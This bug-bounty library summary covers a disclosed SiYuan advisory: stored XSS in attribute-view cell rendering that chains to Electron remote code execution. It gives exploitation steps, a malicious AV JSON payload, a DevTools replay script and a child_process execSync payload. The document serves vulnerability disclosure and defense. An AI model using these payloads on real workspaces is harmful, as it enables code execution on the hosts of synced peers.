# SiYuan: Stored XSS to RCE via attribute-view cell rendering in genAVValueHTML()

SiYuan's genAVValueHTML interpolates attribute-view cell text/url/phone/mAsset raw into innerHTML, so a synced malicious cell yields stored XSS and Electron RCE.

- Payout: Research
- Severity: critical
- Program: SiYuan
- Found by: hillalee
- Disclosed: 2026-07-10
- CVE: CVE-2026-54158
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-5xfx-xj4h-5p7r
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-5xfx-xj4h-5p7r
- Tags: area:os domain:desktop domain:web impact:integrity impact:rce kind:research platform:ghsa sev:critical tech:electron technique:chained technique:source-review vuln:rce vuln:xss

**Target:** Electron desktop app / web renderer attribute-view block panel (genAVValueHTML)
**Root cause:** genAVValueHTML interpolates cell content unescaped in the text, url, phone and mAsset branches, and the kernel write path (updateAttributeViewValue) never escapes cell content before persisting to data/storage/av/*.json.
**Steps:**
1. Plant a malicious AV JSON at `workspace/data/storage/av/poc.json` (or sync it in) with a text cell content `</textarea><img src=x onerror="...">` and a url cell content `"><img src=x onerror="...">`.
2. Confirm `/api/av/getAttributeView` returns the content raw (no escaping).
3. Open the block-attribute panel on a row containing the malicious cell; `genAVValueHTML` output is assigned to `innerHTML` in select.ts/cell.ts/col.ts etc.
4. The `</textarea>` and `">` break out of the surrounding tag and the smuggled `<img onerror>` executes.
5. On Electron, swap the marker for `require('child_process').execSync(...)` since nodeIntegration:true.
**How found:** Code review of genAVValueHTML noticed the block/select/mSelect branches use escapeHtml/escapeAttr while text/url/phone/mAsset interpolate raw; grep of kernel/model/attribute_view.go showed no escape call, unlike blockial.go:261 which uses html.EscapeAttrVal.
**Exploitation:** Attacker with write access to a synced workspace (compromised SiYuan Cloud/S3/WebDAV creds, shared folder, or multi-user Docker via /api/av/updateAttrViewCell) plants a malicious AV cell once; it propagates via sync and fires when any peer opens the block-attribute panel on that row, executing JS in the renderer and, on Electron, host commands via require('child_process').
**Escalation:** XSS in renderer chained to host RCE because Electron BrowserWindows use nodeIntegration:true, contextIsolation:false, webSecurity:false; sync propagates the payload to all peers.
**Insight:** When a renderer has a mix of escaped and unescaped branches in one HTML-building function, enumerate every switch case and every callsite assigning to innerHTML; also check whether the backend write path escapes, since a missing backend escape means payloads persist and sync to all peers.

## Proof of concept (copied exactly from the original report)

**Malicious AV JSON with XSS payloads**

```
{
  "spec": 2,
  "id": "20260519999999-poctest",
  "name": "PocAV",
  "keyValues": [
    {
      "key": {"id": "...keyblok", "name": "Block", "type": "block"},
      "values": [{
        "id": "...row1blk", "keyID": "...keyblok", "blockID": "...row1blk",
        "type": "block", "isDetached": true,
        "block": {"id": "...row1blk", "content": "Row 1"}
      }]
    },
    {
      "key": {"id": "...keytext", "name": "TextField", "type": "text"},
      "values": [{
        "id": "...celltxt", "keyID": "...keytext", "blockID": "...row1blk",
        "type": "text",
        "text": {"content": "</textarea><img src=x onerror=\"window.__siyuan_av_xss='FIRED'\">"}
      }]
    },
    {
      "key": {"id": "...keyurl0", "name": "UrlField", "type": "url"},
      "values": [{
        "id": "...cellurl", "keyID": "...keyurl0", "blockID": "...row1blk",
        "type": "url",
        "url": {"content": "\"><img src=x onerror=\"window.__siyuan_av_url_xss='FIRED'\">"}
      }]
    }
  ]
}
```

**DevTools replay of genAVValueHTML branches**

```
const res = await fetch('/api/av/getAttributeView', {
  method: 'POST',
  headers: {'Content-Type': 'application/json'},
  body: JSON.stringify({id: '20260519999999-poctest'})
});
const json = await res.json();

let textValue = null, urlValue = null;
for (const kv of json.data.av.keyValues) {
  for (const v of kv.values || []) {
    if (v.type === 'text' && v.text) textValue = v;
    if (v.type === 'url' && v.url) urlValue = v;
  }
}

// Replay the actual genAVValueHTML branches verbatim.
const textHTML = `<textarea rows="${(textValue.text?.content||'').split('\n').length}">${textValue.text?.content || ''}</textarea>`;
const urlHTML  = `<input value="${urlValue.url.content}">`;

const div = document.createElement('div');
div.innerHTML = textHTML + urlHTML;

await new Promise(r => setTimeout(r, 250));

console.log({
  textMarkerFired: window.__siyuan_av_xss === 'FIRED',
  urlMarkerFired: window.__siyuan_av_url_xss === 'FIRED',
  imgsInDiv: div.querySelectorAll('img').length,
  title: document.title
});
```

**Electron RCE payload via child_process**

```
<img src=x onerror="require('child_process').execSync('open /Applications/Calculator.app')">
```

